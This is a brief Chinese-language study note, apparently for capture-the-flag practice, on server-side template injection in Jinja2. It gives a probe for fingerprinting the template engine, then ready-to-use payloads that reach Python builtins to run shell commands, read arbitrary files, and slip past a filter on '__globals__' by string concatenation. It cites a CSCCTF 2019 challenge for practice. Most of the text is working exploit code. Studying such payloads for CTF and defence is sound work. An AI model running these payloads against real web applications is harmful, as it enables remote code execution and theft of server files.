知识点:
输入{{7*'7'}}或者a{*comment*}b判断模板类型:
返回7777777是一般是jinja2
关于jinja2 的payload:
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
其中第一条payload中的[id]可以替换成命令,如ls,cat等,第二条payload的[filename]也可替换成文件名称.
关于绕过,如果禁用了_globlas_
可以采用拼接绕过或者切片绕过:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__['__glo'+'bals__']['__builtins__']['__imp'+'ort__']('o'+'s').popen('ls').read() }}{% endif %}{% endfor %}
例题参考[CSCCTF 2019 Qual]FlaskLight_yym68686的博客-CSDN博客